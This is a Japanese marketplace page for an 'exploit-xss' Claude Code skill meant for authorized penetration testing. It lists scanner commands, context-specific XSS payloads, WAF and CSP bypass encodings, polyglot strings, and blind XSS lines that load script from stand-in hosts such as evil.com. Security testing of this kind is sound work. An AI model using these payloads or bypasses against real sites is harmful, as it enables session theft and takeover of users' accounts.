mcpField
E
exploit-xss

exploit-xss

github.com/crazymarkyセキュリティ34976 回インストール21 週間前に更新
リポジトリ

exploit-xss について

exploit-xssは、ウェブアプリの入力点やクライアント側の挙動を調べる、許可を得たセキュリティテスト向けのXSS検出スキルです。複数のスキャナーやスクリプトを用い、反射型、格納型、DOMなどを検査し、事前の許可を必須としています。

主な機能

  1. 01URL、POST、Cookie、ヘッダーのテスト
  2. 02反射型・格納型・DOM XSSの検出
  3. 03注入コンテキストの分析とペイロード生成
  4. 04WAF、CSP、フレームワーク関連の検査
  5. 05一括スキャンとブラインドテスト

活用シーン

  1. 01許可された範囲でフォームやパラメーターを検査
  2. 02クライアント側DOM注入リスクの調査
  3. 03CSPやWAFの回避可能性を評価
  4. 04複数の対象URLをXSS検査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/crazymarky/pentest-skills --skill exploit-xss

インストール後、Claude Code で/exploit-xssを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

assets/
attribute_xss_payloads.txt
blind_xss_payloads.txt
common_xss_payloads.txt
csp_bypass_payloads.txt
dom_xss_payloads.txt
framework_xss_payloads.txt
modern_browser_xss_payloads.txt
mutation_xss_payloads.txt
mxss_payloads.txt
polyglot_xss_payloads.txt
svg_xss_payloads.txt
waf_bypass_payloads.txt
websocket_xss_payloads.txt
xss_context_patterns.txt
references/
csp_bypass_guide.md
dalfox_guide.md
dom_xss_guide.md
framework_xss_guide.md
mutation_xss_guide.md
svg_xss_guide.md
websocket_xss_guide.md
xspear_guide.md
xss_payload_techniques.md
xsstrike_guide.md
scripts/
blind_xss_tester.py
csp_detector.py
framework_xss_tester.py
mutation_xss_tester.py
mxss_detector.py
svg_xss_tester.py

詳細

クロスサイトスクリプティング(XSS)検出スキル

⚠️ 危険 — 許可が必要です

このスキルは、許可を得たセキュリティテスト専用です。

以下が必要です:

  • 対象システムの所有者からの書面による許可
  • 対象をテストする法的な権限
  • 明確に定義されたテスト範囲

許可のない XSS テストは違法であり、非倫理的です。


前提条件

必須ツール
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike

# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest

# XSpear - XSS testing with WAF bypass
gem install xspear
Python の要件
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4

# Optional: WebSocket XSS testing
pip install websockets
オプションのツール
# Burp Suite for manual testing
# OWASP ZAP for automated scanning

クイックスタート

基本的な URL テスト
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"

# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"
POST リクエストのテスト
# Save POST request to file
dalfox file request.txt

# Or use XSStrike
python xsstrike.py -r request.txt
DOM XSS のテスト
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom

# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom

よくあるシナリオ

1. 基本的なパラメーターのテスト(反射型 XSS)

URL パラメーターへの入力の反映とインジェクションをテストします:

# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"

# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"

# Specify parameter
dalfox url "https://target.com/search" -p q

確認事項:

  • 入力は HTML レスポンスに反映されていますか?
  • コンテキストは何ですか(HTML タグ、属性、JavaScript)?
  • フィルタリングやエンコードは適用されていますか?
2. POST リクエストの XSS(フォームのテスト)

POST フォームで、保存型/反射型 XSS をテストします:

# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=test&password=test' > post_request.txt

# Test with XSStrike
python xsstrike.py -r post_request.txt

# Test with Dalfox
dalfox file post_request.txt

よくある POST の対象:

  • ログインフォーム(ユーザー名、メールアドレス欄)
  • 問い合わせフォーム(名前、メッセージ欄)
  • 検索フォーム
  • コメントフォーム
  • ユーザープロフィールの更新
3. Cookie とヘッダーの XSS

HTTP ヘッダーと Cookie へのインジェクションをテストします:

# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"

# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"

# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"

テストするヘッダー:

  • User-Agent(アプリケーションログ/エラーページを確認)
  • Referer(404 ページ、分析機能を確認)
  • X-Forwarded-For(IP アドレスの反映を確認)
  • Cookie(ウェルカムメッセージ/ログを確認)
4. 反射型 XSS の検出

反映箇所を特定し、ペイロードをテストします:

# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery

# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"

# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind

検出手法:

  • ペイロードの有無によるレスポンスの長さを比較する
  • レスポンス HTML 内でペイロードを検索する
  • エンコード/フィルタリングのパターンを確認する
  • HTML コンテキスト(タグ、属性、JS、CSS)を特定する
5. 保存型 XSS のテスト(データベースへの永続化)

データベースに永続化される XSS をテストします:

# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net

# Test user profile fields
python xsstrike.py -r profile_update_request.txt

# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&[email protected]&message=payload"

保存型 XSS の対象:

  • ユーザープロフィール(名前、自己紹介、所在地)
  • コメント/レビュー
  • フォーラムの投稿
  • メール/問い合わせフォーム(管理パネルの XSS)
  • ファイルアップロードのメタデータ
6. DOM XSS の発見

クライアント側の XSS 脆弱性を見つけます:

# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom

# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom

# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"

よくある DOM ソース:

  • location.hash
  • location.search
  • document.cookie
  • document.referrer
  • window.name

よくある DOM シンク:

  • innerHTML
  • document.write()
  • eval()
  • location.href
  • setTimeout() / setInterval()
7. フォームでのブラインド XSS(問い合わせ/管理画面の XSS)

管理パネルで実行されるフォーム内の XSS をテストします:

# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"

# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net

# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"

ブラインド XSS のテストのヒント:

  • テストごとに固有のペイロードを使う(脆弱なパラメーターを特定するため)
  • コールバックには Burp Collaborator または interactsh を使う
  • メールの問い合わせフォームをテストする(管理者がメールを開いたときに実行される)
  • サポートチケットシステムをテストする
8. コンテキストに応じたペイロード

インジェクションのコンテキストに適したペイロードを使います:

# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"

# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url

コンテキスト別のペイロード:

HTML 本文/タグ:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

HTML 属性:

" onmouseover=alert('XSS')
javascript:alert('XSS')

JavaScript:

';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>

CSS/スタイル:

</style><script>alert('XSS')</script>
expression(alert('XSS'))
9. WAF 回避手法

Web アプリケーションファイアウォールを回避します:

# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass

# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass

# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encode

回避手法:

  • URL エンコード:%3Cscript%3Ealert(1)%3C/script%3E
  • 二重エンコード:%253Cscript%253E
  • Unicode エンコード:\u003Cscript\u003E
  • HTML エンティティ:&lt;script&gt;alert(1)&lt;/script&gt;
  • 大文字と小文字の混在:<ScRiPt>alert(1)</sCrIpT>
  • コメントの挿入:<script>alert(1)</script>
  • タブ/改行の挿入:<script\t>alert(1)</script>
10. 自動スキャン(一括テスト)

複数の URL/パラメーターをスキャンします:

# Scan from file
dalfox file urls.txt

# Pipe from other tools
cat urls.txt | dalfox pipe

# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done

# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe
11. ペイロードのエンコードのバリエーション

異なるエンコード方式でテストします:

# URL encode payloads
scripts/xss_payload_generator.py --encode url

# HTML encode
scripts/xss_payload_generator.py --encode html

# Hex encode
scripts/xss_payload_generator.py --encode hex

# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encode

テストする一般的なエンコード:

  1. プレーン:<script>alert(1)</script>
  2. URL エンコード:%3Cscript%3Ealert(1)%3C/script%3E
  3. 二重 URL エンコード:%253Cscript%253E
  4. HTML エンティティ:&lt;script&gt;alert(1)&lt;/script&gt;
  5. 16 進数:\x3Cscript\x3Ealert(1)\x3C/script\x3E
  6. Unicode:\u003Cscript\u003Ealert(1)\u003C/script\u003E
12. ポリグロットペイロード

複数のコンテキストで動作するペイロードをテストします:

# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot

# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

有名なポリグロットペイロード:

# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E

# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
13. CSP の検出とバイパス

コンテンツセキュリティポリシーの分析とバイパステスト:

# Detect and analyze CSP
python scripts/csp_detector.py https://target.com

# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass

# Full CSP analysis
python scripts/csp_detector.py https://target.com --verbose

一般的な CSP バイパス手法:

  • unsafe-inline - インラインスクリプトを許可します
  • unsafe-eval - eval()、setTimeout() を許可します
  • data: URL - data URI を介したインラインスクリプト
  • ワイルドカードソース - 任意のドメインを許可します
  • nonce ベースのバイパス
  • フレームワーク固有のバイパス

詳しい手法については、references/csp_bypass_guide.md を参照してください。

14. フレームワーク固有の XSS

Angular、React、Vue などのフレームワークの脆弱性をテストします:

# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect

# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular

# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react

# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue

一般的なフレームワークのベクター:

  • Angular:{{constructor.constructor('alert(1)')()}}
  • React:dangerouslySetInnerHTML
  • Vue:v-html ディレクティブ
  • jQuery:.html() による操作

詳しい手法については、references/framework_xss_guide.md を参照してください。

15. SVG ファイルアップロード XSS

ファイルアップロードにおける SVG ベースの XSS をテストします:

# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload

# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content

# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar

# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com

SVG XSS のベクター:

  • <svg onload="alert('XSS')">
  • <svg><script>alert('XSS')</script></svg>
  • <svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>

詳しい手法については、references/svg_xss_guide.md を参照してください。

16. Mutation XSS(mXSS)

HTML の変異に基づく XSS をテストします:

# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all

# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber

# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute

Mutation XSS のベクター:

  • エンティティのデコードによる変異:&lt; → <
  • タグ解析による変異:<xmp>、<listing>
  • DOM クローバリング:<a id="location">
  • 名前空間の変異:SVG/MathML

詳しい手法については、references/mutation_xss_guide.md を参照してください。

17. WebSocket XSS

WebSocket 接続の XSS 脆弱性をテストします:

# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com

# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws

# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom

# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored

# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'

WebSocket XSS のベクター:

  • メッセージの反射:ws.send('<script>alert(1)</script>')
  • JSON インジェクション:{"message": "<img src=x onerror=alert(1)>"}
  • イベントハンドラー:ws.send('alert(1);')
  • 属性の区切り文字の突破:" onmouseover=alert(1)

詳しい手法については、references/websocket_xss_guide.md を参照してください。


ツール選択ガイド

シナリオ推奨ツールコマンド
パラメーターの簡易テストDalfoxdalfox url "https://target.com?param=test"
DOM を含む詳細スキャンXSStrikepython xsstrike.py -u "URL" --dom
WAF バイパステストXSpearxspear -u "URL" --bypass
保存型/ブラインド XSSDalfox + Callbackdalfox file req.txt --blind CALLBACK
手動テストXSStrikepython xsstrike.py -r request.txt
バッチスキャンDalfox pipecat urls.txt | dalfox pipe
CSP 分析CSP Detectorpython scripts/csp_detector.py URL
フレームワーク XSSFramework Testerpython scripts/framework_xss_tester.py -u URL -p param
SVG XSSSVG Testerpython scripts/svg_xss_tester.py -u URL -p param
Mutation XSSMutation Testerpython scripts/mutation_xss_tester.py -u URL -p param
WebSocket XSSWebSocket Testerpython scripts/websocket_xss_tester.py -u URL
フルスキャンFull Scannerpython scripts/xss_full_scan.py -u URL --all

ツールの比較:

機能XSStrikeDalfoxXSpearBuilt-in Scripts
速度中高速中変動あり
DOM XSS優秀良好限定的良好
WAF バイパス良好良好優秀良好
パイプラインモードいいえはいいいえいいえ
ブラインド XSSはいはいはいはい
CSP 分析いいえいいえいいえはい
フレームワークのテストいいえいいえいいえはい
SVG テストいいえいいえいいえはい
Mutation XSSいいえいいえいいえはい
WebSocket XSSいいえいいえいいえはい

テストチェックリスト

偵察フェーズ
  • すべての入力箇所を特定する(URL パラメーター、フォーム、ヘッダー、Cookie)
  • アプリケーションの機能を洗い出す
  • データの保存場所を特定する
反射型 XSS のテスト
  • すべての URL パラメーターをテストする
  • すべてのフォームフィールドをテストする(GET/POST)
  • HTTP ヘッダーをテストする(UA、Referer、Cookie)
  • 反射コンテキストを特定する
  • コンテキスト固有のペイロードをテストする
格納型 XSS のテスト
  • すべてのフォーム送信をテストする
  • ファイルアップロードのメタデータをテストする
  • ユーザープロフィールのフィールドをテストする
  • コメント/レビューをテストする
  • セッションをまたいだ永続性を検証する
  • 異なるユーザーコンテキストでの実行をテストする
DOM XSS のテスト
  • すべての DOM ソースを特定する
  • データフローをシンクまで追跡する
  • ハッシュベースのインジェクションをテストする
  • URL パラメータベースのインジェクションをテストする
  • localStorage/sessionStorage をテストする
高度なテスト
  • WAF バイパス手法をテストする
  • エンコーディングのバリエーションをテストする
  • ポリグロットペイロードをテストする
  • ブラインド XSS テストを実施する
  • CSP バイパスをテストする
  • フレームワーク固有の XSS (Angular/React/Vue) をテストする
  • SVG ファイルアップロード XSS をテストする
  • Mutation XSS (DOM クロバリング) をテストする
  • HTTP レスポンスヘッダーインジェクションをテストする
  • WebSocket XSS をテストする (該当する場合)

シナリオ: XSS 検出結果の永続ストレージ

XSS 検出結果をデータベースに永続化する必要がある場合:

# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/search?q=test" \
  --xss-type reflected \
  --payload "<script>alert(1)</script>" \
  --context html_body \
  --severity High \
  --subsystem "Web Application"

パラメータ:

  • --host-ip - ターゲットホストの IP (必須)
  • --url - 脆弱な URL (必須)
  • --xss-type - XSS タイプ: reflected、stored、または dom (必須)
  • --payload - 使用したペイロード (必須)
  • --context - XSS コンテキスト: html_body、html_attribute、javascript、dom、url (デフォルト: html_body)
  • --severity - 重大度レベル (デフォルト: Medium)
  • --subsystem - サブシステム名 (任意)
  • --parameter - 脆弱なパラメータ名
  • --title - 脆弱性のタイトル (指定しない場合は自動生成)
  • --description - 脆弱性の説明
  • --cvss-score - CVSS スコア (0.0-10.0)

データベースの場所: ./data/results.db

関連スキル: results-storage - データのクエリ、レポートの生成


リソース

スクリプト
  • scripts/xss_payload_generator.py - さまざまなコンテキスト向けの XSS ペイロードを生成します
  • scripts/xss_tester.py - 自動化された XSS テストフレームワーク
  • scripts/xss_context_analyzer.py - インジェクションコンテキストを分析します
  • scripts/blind_xss_tester.py - 格納型/ブラインド XSS をテストします
  • scripts/csp_detector.py - CSP 分析とバイパステスト
  • scripts/svg_xss_tester.py - SVG ファイルアップロード XSS テスト
  • scripts/framework_xss_tester.py - Angular/React/Vue XSS テスト
  • scripts/mutation_xss_tester.py - Mutation XSS/DOM クロバリングテスト
  • scripts/websocket_xss_tester.py - WebSocket XSS テスト
  • scripts/mxss_detector.py - HTML パーサーの Mutation XSS 検出
  • scripts/xss_full_scan.py - 統合 XSS テスト自動化
リファレンスドキュメント
  • references/dalfox_guide.md - Dalfox 完全ガイド
  • references/xsstrike_guide.md - XSStrike 完全ガイド
  • references/xspear_guide.md - XSpear 完全ガイド
  • references/xss_payload_techniques.md - XSS ペイロードの手法
  • references/dom_xss_guide.md - DOM XSS テストガイド
  • references/csp_bypass_guide.md - CSP バイパス手法
  • references/framework_xss_guide.md - フレームワーク固有の XSS ガイド
  • references/svg_xss_guide.md - SVG XSS テストガイド
  • references/mutation_xss_guide.md - Mutation XSS/DOM クロバリングガイド
  • references/websocket_xss_guide.md - WebSocket XSS テストガイド
アセット/ワードリスト
  • assets/common_xss_payloads.txt - 基本的な XSS ペイロード
  • assets/attribute_xss_payloads.txt - 属性コンテキストのペイロード
  • assets/dom_xss_payloads.txt - DOM XSS ペイロード
  • assets/blind_xss_payloads.txt - コールバック付きブラインド XSS
  • assets/polyglot_xss_payloads.txt - マルチコンテキストペイロード
  • assets/waf_bypass_payloads.txt - WAF 回避ペイロード
  • assets/csp_bypass_payloads.txt - CSP バイパスペイロード
  • assets/framework_xss_payloads.txt - Angular/React/Vue ペイロード
  • assets/svg_xss_payloads.txt - SVG XSS ペイロード
  • assets/mutation_xss_payloads.txt - Mutation XSS ペイロード
  • assets/websocket_xss_payloads.txt - WebSocket XSS ペイロード
外部リソース

よくある応答とトラブルシューティング

「XSS が見つかりません」
  • ペイロードのエンコード方法を変えてみてください
  • DOM スキャナーを有効にしてテストしてください
  • WAF にブロックされていないか確認してください
  • ブラインド XSS ペイロードでテストしてください
  • パラメーターが実際に反映されていることを確認してください
「ペイロードは反映されますが、実行されません」
  • コンテキストアナライザーを使ってコンテキストを分析してください
  • コンテキストに応じたペイロードを使用してください
  • CSP(Content Security Policy)を確認してください
  • 入力のサニタイズを確認してください
  • 別のタグやイベントハンドラーを試してください
「403/WAF にブロックされました」
  • WAF バイパス用のペイロードを使用してください
  • 別のエンコード方法を試してください
  • XSpear で --bypass フラグを使用してください
  • 最初に短いペイロードでテストしてください
  • 別のインジェクションポイントを試してください

報告形式

XSS 脆弱性を報告する際は、以下を含めてください。

╔═══════════════════════════════════════════════════════╗
║              XSS Vulnerability Report                 ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search                     ║
║ Type: Reflected XSS                                   ║
║ Severity: High                                        ║
╚═══════════════════════════════════════════════════════╝

Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')

Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')

Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website

Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions

コメント